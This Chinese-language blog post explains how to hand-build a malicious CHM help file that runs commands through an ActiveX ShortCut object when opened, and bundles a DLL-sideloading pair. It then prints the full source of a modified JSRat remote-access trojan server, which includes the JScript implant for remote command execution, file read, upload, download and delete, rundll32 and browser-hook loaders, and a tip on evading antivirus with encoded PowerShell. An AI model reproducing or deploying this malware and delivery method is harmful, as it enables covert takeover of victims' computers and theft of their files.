CHM攻击总结
“Compiled Help (or HTML) Manual”简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件直接打开), 可以包含html、图片、脚本语言以及其他文件。
当攻击者恶意利用此文件时,通常会在CHM文件内包含恶意脚本和文件,用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。
手动制作CHM文件
chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。
定义HTML help project (.hhp)配置文件
hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题,以及包含的文件等一系列信息。
[OPTIONS]
Compatibility=1.1 or later
Compiled file=PocCalc.chm // 指定生成的CHM文件名
Contents file=Table of Contents.hhc // 指定hhc文件
Index file=Index.hhk // 指定hhk文件
Default topic=poc.html // 指定首页的html文件名
Title=PocCalc // 标题
Display compile progress=No
Language=0x410 Italian (Italy)
Full-text search=Yes
[FILES]
poc.html // 需要编译打包进CHM的文件
GoogleUpdate.exe
goopdate.dll
[INFOTYPES]
编写html源码文件
HTML格式源码文件用来存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。当被攻击者利用时,常常会通过ShortCut的方式添加恶意命令,在Item1的Value中指定需要运行的进程和参数。
下面是一个通过cmd启动计算器的示例
<!DOCTYPE html>
<html>
<head><title>calc poc</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd /c, Calc'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
定义hhk文件
hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在<BODY>
标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<UL>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="GoogleUpdate">
<param name="Local" value="GoogleUpdate.exe">
</OBJECT>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="goopdate">
<param name="Local" value="goopdate.dll">
</OBJECT>
</UL>
</BODY>
</HTML>
定义hhc文件
hhc文件也是html格式的文件,在hhc文件中,用
- 和
- 两个标签定义了带有层级关系中列表,并在其中以
<OBJECT>
的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。
第一个sitemap对象中包含的html文件将作为首页展示,其中的恶意代码将自动加载执行。
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<OBJECT type="text/site properties">
<param name="ImageType" value="Folder">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Notice">
<param name="Local" value="poc.html">
<param name="ImageNumber" value="1">
</OBJECT>
</UL>
</BODY>
</HTML>
编译
最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。
命令格式:hhc.exe <hhp文件路径>
工具制作木马
python MyJSRat.py -i 192.168.100.1 -p 8082 -c ""
Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)
这个是原工具地址,但是由于一直报错,我不得已改了一些里面的代码,改了一万年o(╥﹏╥)o(代码我就放最后把,太占空间了),工具只修复了命令执行功能,交互功能没弄好,有能力的大佬可以自己看看。
c参数里面用命令就可以了,最后把生成的payload放到chm里面就可以
powershell -ep bypass -enc
base64加载,这样可以过windows自身的防御,火绒也可过,但是360不行,云沙箱也报毒。
代码
#!/usr/bin/env python
#
# JSRat Server
# By: Evi1cg
#
import optparse, os, socket, SocketServer, sys , re
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from classes.colors import *
import requests # Used for --find-ip option, otherwise not needed
global command
command = 'ver'
try:
import readline
except:
error("No Python Readline")
pad(); bad("No history support as a result, sorry...")
def banner():
cls()
print red("\nJSRat Server")
def cls():
if os.name == 'nt' or sys.platform.startswith('win'):
os.system('cls')
else:
os.system('clear')
def internal_ip():
'Check Internal IP' # Google IP address used...
try:
iip = [(s.connect(('8.8.8.8', 80)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
except:
error("Problem resolving internal IP!")
return "Problem resolving internal IP!"
return iip
def external_ip():
'Check External IP using ip.chinaz.com'
url = 'http://ip.chinaz.com/getip.aspx' # Simple External IP Check using dyndns...
try:
headers = { 'User-agent' : 'Python External IP Checker' }
res = requests.get( url, headers=headers, timeout=30.0 )
body = res.text
extip= re.search(r"ip\:'(.*?)'\,addre", body)
except:
error("Problem resolving extrernal IP!")
return "Problem resolving extrernal IP!"
return "wang zhi gua le ,wo zhao le ban tian baocuo"
def jsrat():
"""
Build & Return the core JS code to operate JSRat on victim
Essentially serve up additional JS to be evaluated by client based on need
"""
jsrat_code = """
while(true) {
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
try {
h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
h.Send();
c = h.ResponseText;
if(c=="delete") {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Next Input should be the File to Delete]");
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g.SetTimeouts(0, 0, 0, 0);
g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
g.Send();
d = g.ResponseText;
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Delete Success]\\n");
continue;
} else if(c=="download") {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Next Input should be the File to download]");
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g.SetTimeouts(0, 0, 0, 0);
g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
g.Send();
d = g.ResponseText;
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/download",false);
p.Send(g);
continue;
} else if(c=="read") {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Next Input should be the File to Read]");
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g.SetTimeouts(0, 0, 0, 0);
g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
g.Send();
d = g.ResponseText;
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send(g + "\\n");
continue;
} else if(c=="run") {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Next Input should be the File to Run]");
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g.SetTimeouts(0, 0, 0, 0);
g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
g.Send();
d = g.ResponseText;
r = new ActiveXObject("WScript.Shell").Run(d,0,true);
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Run Success]\\n");
continue;
}else if(c=="upload") {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Start to Upload]");
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g.SetTimeouts(0, 0, 0, 0);
g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/uploadpath",false);
g.Send();
dpath = g.ResponseText;
g2 = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
g2.SetTimeouts(0, 0, 0, 0);
g2.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/uploaddata",false);
g2.Send();
ddata = g2.ResponseText;
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.CreateTextFile(dpath,true);
f.WriteLine(ddata);
f.Close();
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Upload Success]\\n");
continue;
} else {
r = new ActiveXObject("WScript.Shell").Exec(c);
var so;
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send(so + "\\n");
}
} catch(e1) {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[ERROR - No Output]\\n");
}
}
"""
return jsrat_code
def jsratCMD():
"""
Build & Return the core JS code to operate JSRat on victim
Essentially serve up additional JS to be evaluated by client based on need
"""
jsrat_codeCMD = """
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
try {
h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
h.Send();
c = h.ResponseText;
r = new ActiveXObject("WScript.Shell").Run(c,0,true);
} catch(e1) {
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.SetTimeouts(0, 0, 0, 0);
p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
p.Send("[Some thing wrong !! ]\\n");
}
"""
return jsrat_codeCMD
def print_jsrat_help():
"""
Displays JSRat options for Server operator to interact w/Client||Victim
"""
print white(underline("JSRat Usage Options:"))
print str(green("CMD")) + str(white("=>")) + str(green("Executes Provided Command"))
print str(green("run")) + str(white("=>")) + str(green("Run EXE or Script"))
print str(green("read")) + str(white("=>")) + str(green("Read File"))
print str(green("upload")) + str(white("=>")) + str(green("Upload File"))
print str(green("download")) + str(white("=>")) + str(green("Download File"))
print str(green("delete")) + str(white("=>")) + str(green("Delete File"))
print str(green("help")) + str(white("=>")) + str(green("Help Menu"))
print str(green("exit")) + str(white("=>")) + str(green("Exit Shell"))
def get_user_input():
while True:
usr_input = raw_input(str(red("$"))+str(white("("))+str(blue("JSRat"))+str(white(")"))+str(red(">"))+str(white(" ")))
if usr_input.strip() != "":
break
else:
print
return usr_input.strip()
class myHandler(BaseHTTPRequestHandler):
"""
Custom handler so we can control how different web requests are processed
Crude setup I threw together, but it works so get over it...
"""
js_load_path = '/connect' # Base URL path to initialize things (value is overridden at server start)
upload_path = "" # static so we can set/get as needed, since this isnt powershell...
time_to_stop = False
def log_message(self, format, *args):
""" Custom Log Handler to Spit out on to stderr """
return
def do_GET(self):
"""
Handle any GET requests coming into our server
"""
content_type = "text/plain"
response_message = jsrat()
if self.js_load_path == self.path:
good("Incoming JSRat Client: %s" % str(self.client_address[0]))
if 'user-agent' in self.headers.keys() and self.headers['user-agent'].strip() != "":
good("User-Agent: %s" % self.headers['User-Agent'])
print_jsrat_help()
elif "/rat" == self.path:
# Get input from server operator on what to do next...
response_message = get_user_input()
if response_message.strip().lower() == "help":
print_jsrat_help()
while True:
response_message = get_user_input()
if response_message.strip().lower() != "help":
break
else:
print
elif response_message.strip().lower() == "exit":
print; caution("OK, sending kill command to Client...")
response_message = "cmd /c taskkill /f /im rundll32.exe"
caution("Hit CTRL+C to kill server....")
elif "/uploadpath" == self.path:
lpath = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Full Path for Local File to Upload"))+str(white(")"))+str(red(">"))+str(white(" ")))
myHandler.upload_path = lpath
caution("Setting local upload path to: %s" % myHandler.upload_path)
destination_path = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Remote Path to Write Uploaded Content"))+str(white(")"))+str(red(">"))+str(white(" ")))
response_message = destination_path.strip()
elif "/uploaddata" == self.path:
response_message = open(myHandler.upload_path, 'rb+').read()
myHandler.upload_path = ""
elif "/hook" == self.path:
good("Hooking Client: %s" % str(self.client_address[0]))
content_type = "text/html"
response_message = jsrat()
response_message = """<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title> new document </title>
<meta name="generator" content="editplus">
<meta name="author" content="">
<meta name="keywords" content="">
<meta name="description" content="">
</head>
<body>
<script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</body>
</html>"""
elif "/wtf" == self.path:
good("Client Command Query from: %s" % str(self.client_address[0]))
response_message = """
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}"""
print cyan(response_message + "\n")
# Send the built response back to client
self.send_response(200)
self.send_header('Content-type',content_type)
self.end_headers()
self.wfile.write(response_message)
def do_POST(self):
"""
Handle any POST requests coming into our server
"""
if "/rat" == self.path:
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print cyan(post_body)
if post_body == "[No Output]":
print
self.send_response(200)
self.send_header('Content-type','text/plain')
self.end_headers()
elif "/download" == self.path:
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
fname = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Filename to Save in ./loot/"))+str(white(")"))+str(red(">"))+str(white(" ")))
try:
loot_file = outdir.strip()+fname.strip()
fh = open(loot_file, 'wb+')
fh.write(post_body)
fh.close()
pad(); good("Successfully Saved To: %s\n" % loot_file.replace(home, "./"))
except Exception, e:
error("Problem saving content to:")
pad(); bad("%s" % loot_file.replace(home, "./"))
pad(); pad(); bad(str(e))
self.send_response(200)
self.send_header('Content-type','text/plain')
self.end_headers()
else:
caution("%s - Snooper detected..." % str(self.client_address[0]))
pad(); caution("=> %s" % self.path)
self.send_error(404)
class SendCMDHandler(BaseHTTPRequestHandler):
"""
Send command handler so we can auto send command to clinets...
"""
js_load_path = '/connect' # Base URL path to initialize things (value is overridden at server start)
upload_path = "" # static so we can set/get as needed, since this isnt powershell...
time_to_stop = False
def log_message(self, format, *args):
""" Custom Log Handler to Spit out on to stderr """
return
def do_GET(self):
"""
Handle any GET requests coming into our server
"""
content_type = "text/plain"
response_message = jsratCMD()
if self.js_load_path == self.path:
good("Incoming JSRat Client: %s" % str(self.client_address[0]))
if 'user-agent' in self.headers.keys() and self.headers['user-agent'].strip() != "":
good("User-Agent: %s" % self.headers['User-Agent'])
elif "/rat" == self.path:
#Send command
response_message = "cmd.exe /c "+command+" && taskkill /f /im rundll32.exe"
good("OK, Success Send command to Client...")
caution("Hit CTRL+C to kill server....")
elif "/hook" == self.path:
good("Hooking Client: %s" % str(self.client_address[0]))
content_type = "text/html"
response_message = jsrat()
response_message = """<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title> new document </title>
<meta name="generator" content="editplus">
<meta name="author" content="">
<meta name="keywords" content="">
<meta name="description" content="">
</head>
<body>
<script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</body>
</html>"""
elif "/wtf" == self.path:
good("Client Command Query from: %s" % str(self.client_address[0]))
response_message = """
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}"""
print cyan(response_message + "\n")
# Send the built response back to client
self.send_response(200)
self.send_header('Content-type',content_type)
self.end_headers()
self.wfile.write(response_message)
def do_POST(self):
"""
Handle any POST requests coming into our server
"""
if "/rat" == self.path:
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print cyan(post_body)
if post_body == "[No Output]":
print
self.send_response(200)
self.send_header('Content-type','text/plain')
self.end_headers()
def main():
"""
Establish our base web server and initiate the event loop to drive things
1 - Overrides custom handler path for URL to initiate things
2 - Binds socket to ip and port, and then maps to our custom handler
3 - Starts endless event loop & pass off for myHandler to handle requests
"""
try:
print
global httpd
if options.cmd in args:
SendCMDHandler.js_load_path = srv_url
httpd = SocketServer.TCPServer((bind_ip, listener_port),SendCMDHandler)
else:
myHandler.js_load_path = srv_url
httpd = SocketServer.TCPServer((bind_ip, listener_port), myHandler)
status("Web Server Started on Port: %d" % listener_port)
status("Awaiting Client Connection to: http://%s:%s%s" % (bind_ip, listener_port, srv_url))
status("Client Command at: http://%s:%s/wtf" % (bind_ip, listener_port))
status("Browser Hook Set at: http://%s:%s/hook\n" % (bind_ip, listener_port))
caution("Hit CTRL+C to Stop the Server at any time...\n")
httpd.serve_forever()
except socket.error, e:
error('Try again in 30 seconds or so...')
pad()
bad('Socket Error:\n\t%s\n' % e)
except KeyboardInterrupt:
print ''
error("CTRL+C Interupt Detected!")
bad("Shutting Down Web Server...\n")
httpd.shutdown
# Parse Arguments/Options
parser = optparse.OptionParser(banner(), version="%prog v0.01")
parser.add_option("-i", "--ip", dest="ip", default=None, type="string", help="IP to Bind Server to (i.e. 192.168.0.69)")
parser.add_option("-p", "--port", dest="port", default=None, type="int", help="Port to Run Server on")
parser.add_option("-u", "--url", dest="url", default="/connect", type="string", help="URL to Initiate Client Connection (default: /connect)")
parser.add_option("-f", "--find-ip", action="count", default=0, dest="fip", help="Display Current Internal and External IP Addresses")
parser.add_option("-c", "--command", default="whoami", type="string", dest="cmd", help="auto Send command to client (No interaction)")
parser.add_option("-v", action="count", default=0, dest="verbose", help="Enable Verbose Output")
(options, args) = parser.parse_args()
# Make sure we got necessary arguments
args = sys.argv[1:]
if not args:
print ""
parser.print_help()
print
sys.exit()
if options.fip:
print red("[Checking IP....]")
good("Internal IP: %s" % internal_ip())
good("External IP: %s\n\n" % external_ip())
sys.exit()
# Establish IP to bind our web server to (i.e. 127.0.0.1||192.168.0.69||10.10.10.10)
if args and options.ip == None:
print ' '
error("Missing Argument: --ip IP")
error("You need to provide the IP to bind server to!\n")
parser.print_help()
print
sys.exit()
else:
bind_ip = options.ip
# Establish listner port for our web server (privs needed for low ports < 1024)
if args and options.port == None:
print ' '
error("Missing Argument: --port PORTNUMBER")
error("You need to provide the port to listen on!\n")
parser.print_help()
print
sys.exit()
else:
listener_port = options.port
if options.cmd not in args:
status("Using interactive method! ")
if options.cmd in args:
command = options.cmd
status("Using Command Send method! ")
# Establish system based file seperator
if os.name == 'nt' or sys.platform.startswith('win'):
delimiter = "\\"
else:
delimiter = "/"
srv_url = options.url # The URL path to start client initiation on
verbose = options.verbose # Enable verbose output for debugging purposes
home = os.path.dirname(os.path.abspath(__file__)) + delimiter # Home dir
outdir = home + "loot" + delimiter # Output directory to save content
if not os.path.isfile(outdir) and not os.path.isdir(outdir):
os.mkdir(outdir) # Create output directory if it doesn't exist
# Time for the magic show
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print "\n"
print str(red("[")) + str(white("WARNING")) + str(red("]")) + str(white(" CTRL+C, closing session...\n\n"))
sys.exit()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。